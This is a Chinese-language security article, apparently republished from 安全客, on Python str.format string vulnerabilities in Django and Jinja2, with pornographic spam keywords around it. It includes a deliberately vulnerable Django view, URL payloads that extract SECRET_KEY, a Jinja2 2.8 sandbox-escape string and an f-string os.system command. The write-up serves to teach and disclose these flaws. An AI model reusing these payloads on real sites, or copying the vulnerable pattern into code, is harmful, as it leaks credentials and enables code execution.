成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

Python 格式化字符串漏洞(Django為例)

安全 漏洞
在C語言里有一類特別有趣的漏洞,格式化字符串漏洞。輕則破壞內存,重則讀寫任意地址內容,下面我們就以Django為例,講解Python 格式化字符串漏洞。

在C語言里有一類特別有趣的漏洞,格式化字符串漏洞。輕則破壞內存,重則讀寫任意地址內容。

Python

Python中的格式化字符串

Python中也有格式化字符串的方法,在Python2老版本中使用如下方法格式化字符串:

  1. "My name is %s" % ('phithon', ) 
  2. "My name is %(name)%" % {'name':'phithon'} 

后面為字符串對象增加了format方法,改進后的格式化字符串用法為:

  1. "My name is {}".format('phithon') 
  2. "My name is {name}".format(name='phithon'

很多人一直認為前后兩者的差別,僅僅是換了一個寫法而已,但實際上format方法已經包羅萬象了。文檔在此: https://docs.python.org/3.6/library/string.html#formatstrings

舉一些例子吧:

  1. "{username}".format(username='phithon') # 普通用法 
  2. "{username!r}".format(username='phithon') # 等同于 repr(username) 
  3. "{number:0.2f}".format(number=0.5678) # 等同于 "%0.2f" % 0.5678,保留兩位小數 
  4. "int: {0:d};  hex: {0:#x};  oct: {0:#o};  bin: {0:#b}".format(42) # 轉換進制 
  5. "{user.username}".format(user=request.username) # 獲取對象屬性 
  6. "{arr[2]}".format(arr=[0,1,2,3,4]) # 獲取數組鍵值 

上述用法在Python2.7和Python3均可行,所以可以說是一個通用用法。

格式化字符串導致的敏感信息泄露漏洞

那么,如果格式化字符串被控制,會發送什么事情?

我的思路是這樣,首先我們暫時無法通過格式化字符串來執行代碼,但我們可以利用格式化字符串中的“獲取對象屬性”、“獲取數組數值”等方法來尋找、取得一些敏感信息。

以Django為例,如下的view:

  1. def view(request, *args, **kwargs): 
  2.     template = 'Hello {user}, This is your email: ' + request.GET.get('email') 
  3.     return HttpResponse(template.format(user=request.user)) 

原意為顯示登陸用戶傳入的email地址:

格式化字符串導致的敏感信息泄露漏洞

但因為我們控制了格式化字符串的一部分,將會導致一些意料之外的問題。最簡單的,比如:

格式化字符串導致的敏感信息泄露漏洞

輸出了當前已登陸用戶哈希過的密碼。看一下為什么會出現這樣的問題:user是當前上下文中僅有的一個變量,也就是format函數傳入的user=request.user,Django中request.user是當前用戶對象,這個對象包含一個屬性password,也就是該用戶的密碼。

所以,{user.password}實際上就是輸出了request.user.password。

如果改動一下view:

  1. def view(request, *args, **kwargs): 
  2.     user = get_object_or_404(User, pk=request.GET.get('uid')) 
  3.     template = 'This is {user}\'s email: ' + request.GET.get('email') 
  4.     return HttpResponse(template.format(useruser=user)) 

將導致一個任意用戶密碼泄露的漏洞:

導致一個任意用戶密碼泄露的漏洞

利用格式化字符串漏洞泄露Django配置信息

上述任意密碼泄露的案例可能過于理想了,我們還是用最先的那個案例:

  1. def view(request, *args, **kwargs): 
  2.     template = 'Hello {user}, This is your email: ' + request.GET.get('email') 
  3.     return HttpResponse(template.format(user=request.user)) 

我能夠獲取到的變量只有request.user,這種情況下怎么利用呢?

Django是一個龐大的框架,其數據庫關系錯綜復雜,我們其實是可以通過屬性之間的關系去一點點挖掘敏感信息。但Django僅僅是一個框架,在沒有目標源碼的情況下很難去挖掘信息,所以我的思路就是:去挖掘Django自帶的應用中的一些路徑,最終讀取到Django的配置項。

經過翻找,我發現Django自帶的應用“admin”(也就是Django自帶的后臺)的models.py中導入了當前網站的配置文件:

Django自帶的應用“admin”

所以,思路就很明確了:我們只需要通過某種方式,找到Django默認應用admin的model,再通過這個model獲取settings對象,進而獲取數據庫賬號密碼、Web加密密鑰等信息。

我隨便列出兩個,還有幾個更有意思的我暫時不說:

http://localhost:8000/?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}

http://localhost:8000/?email={user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}

Django自帶的應用“admin”

Jinja 2.8.1 模板沙盒繞過

字符串格式化漏洞造成了一個實際的案例——Jinja模板的沙盒繞過( https://www.palletsprojects.com/blog/jinja-281-released/)

Jinja2是一個在Python web框架中使用廣泛的模板引擎,可以直接被被Flask/Django等框架引用。Jinja2在防御SSTI(模板注入漏洞)時引入了沙盒機制,也就是說即使模板引擎被用戶所控制,其也無法繞過沙盒執行代碼或者獲取敏感信息。

但由于format帶來的字符串格式化漏洞,導致在Jinja2.8.1以前的沙盒可以被繞過,進而讀取到配置文件等敏感信息。

大家可以使用pip安裝Jinja2.8:

  1. pip install  
  2. https://github.com/pallets/jinja/archive/2.8.zip 

并嘗試使用Jinja2的沙盒來執行format字符串格式化漏洞代碼:

  1. >>> from jinja2.sandbox import SandboxedEnvironment 
  2. >>> env = SandboxedEnvironment() 
  3. >>> class User(object): 
  4. ...  def __init__(self, name): 
  5. ...   self.name = name 
  6. ... 
  7. >>> t = env.from_string( 
  8. ...  '{{ "{0.__class__.__init__.__globals__}".format(user) }}') 
  9. >>> t.render(user=User('joe')) 

成功讀取到當前環境所有變量__globals__,如果當前環境導入了settings或其他敏感配置項,將導致信息泄露漏洞:

當前環境導入了settings或其他敏感配置項

相比之下,Jinja2.8.1修復了該漏洞,則會拋出一個SecurityError異常:

Jinja2.8.1修復了該漏洞

f修飾符與任意代碼執行

在PEP 498中引入了新的字符串類型修飾符:f或F,用f修飾的字符串將可以執行代碼。文檔在此 https://www.python.org/dev/peps/pep-0498/

用docker體驗一下:

  1. docker pull python:3.6.0-slim 
  2. docker run -it --rm --name py3.6 python:3.6.0-slim bash 
  3. pip install ipython 
  4. ipython 
  5. # 或者不用ipython 
  6. python -c "f'''{__import__('os').system('id')}'''" 

可見,這種代碼執行方法和PHP中的很類似,這是Python中很少有的幾個能夠直接將字符串轉變成的代碼的方式之一,這將導致很多“舶來”漏洞。

舉個栗子吧,有些開發者喜歡用eval的方法來解析json:

用eval的方法來解析json

在有了f字符串后,即使我們不閉合雙引號,也能插入任意代碼了:

不過實際利用中并不會這么簡單,關鍵問題還在于:Python并沒有提供一個方法,將普通字符串轉換成f字符串。

但從上圖中的eval,到Python模板中的SSTI,有了這個新方法,可能都將有一些突破吧,這個留給大家分析了。

另外,PEP 498在Python3.6中才被實現,在現在看來還不算普及,但我相信之后會有一些由于該特性造成的實際漏洞案例。

責任編輯:趙寧寧 來源: 安全客
相關推薦

2021-06-09 07:55:18

Python格式化字符串

2024-12-09 08:10:00

Python字符串格式化

2022-05-09 14:04:27

Python字符串格式化輸出

2020-06-28 08:26:41

Python開發工具

2017-01-17 15:47:18

2009-09-02 15:56:49

C#格式化字符串

2024-03-06 08:41:14

Python字符串格式化工具

2016-10-17 09:07:11

漏洞字符串EIP劫持

2009-09-03 18:45:06

GridView格式化

2009-09-03 18:05:04

ASP.NET字符串格

2010-02-01 16:46:07

C++格式化字符串

2022-03-28 10:56:11

Python字符串格式化

2024-05-27 00:10:00

2009-11-26 18:36:52

PHP函數sprint

2024-02-22 09:46:04

C++字符串格式化開發

2024-02-26 08:00:00

Pythonformat()字符串

2024-05-09 08:28:10

Python字符串百分號格式化

2024-03-28 10:17:03

JDK 17字符串十六進制

2010-03-22 18:53:53

Python格式化字符

2024-01-02 08:43:48

qs工具庫格式化
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 国产激情视频网站 | 亚洲精品中文字幕 | 国内成人免费视频 | 久草资源网站 | 中文字幕视频在线观看 | 日韩一区二区三区在线观看 | 一区二区三区中文字幕 | 三级在线视频 | 久久精品国产一区二区电影 | 免费啪啪 | 久久99这里只有精品 | 夜夜骚| 欧美日韩美女 | 久久久久久99 | 成人欧美一区二区三区在线播放 | 欧美日韩激情 | 91精品久久久久久久久久 | 亚洲在线中文字幕 | 日日做夜夜爽毛片麻豆 | 狠狠狠色丁香婷婷综合久久五月 | 日韩中文视频 | 黄色片a级 | 五月天国产视频 | 国产在线精品一区二区三区 | 日韩精品一区二区三区久久 | 久久99视频这里只有精品 | 中文字幕在线播放第一页 | 毛片a| 久久国产精品久久 | 一区二区不卡高清 | 久久91精品久久久久久9鸭 | 亚洲精品一区二区三区蜜桃久 | 久久激情网 | 欧美韩一区二区三区 | 成人免费网站www网站高清 | 欧美成人影院 | 日韩欧美不卡 | 欧美日韩视频一区二区 | 日韩欧美中文 | 色婷婷一区二区三区四区 | 男女视频免费 |